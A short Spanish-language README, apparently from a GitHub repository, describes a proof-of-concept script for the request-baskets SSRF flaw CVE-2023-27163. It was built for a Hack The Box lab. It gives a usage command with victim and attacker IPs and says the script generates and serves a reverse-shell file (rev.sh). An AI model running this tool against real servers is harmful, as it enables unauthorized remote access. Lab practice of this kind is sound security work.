davuxvi/cve-2023-27163Exploit de prueba de concepto para CVE-2023-27163, una vulnerabilidad de Server-Side Request Forgery (SSRF) en request-baskets hasta v1.2.1. Incluye generación automatizada de reverse shell y exposición de archivos.
PoC CVE-2023-27163, SSRF, request-baskets hasta v1.2.1
Ejemplo de uso
my_script.sh -i 10.10.11.111 -f 'localhost:80' -t 10.10.14.27
-i ip de servidor victima
-f ip o dirección a donde dirigir las conexiones producidas por el SSRF
-t en esta opción va su ip local o la ip atacante, para generación del archivo rev.sh, exponer el archivo.
-p por si desea establecer un puerto especifico.
Este script fue desarrollado en base a un laboratorio practico de HTB.
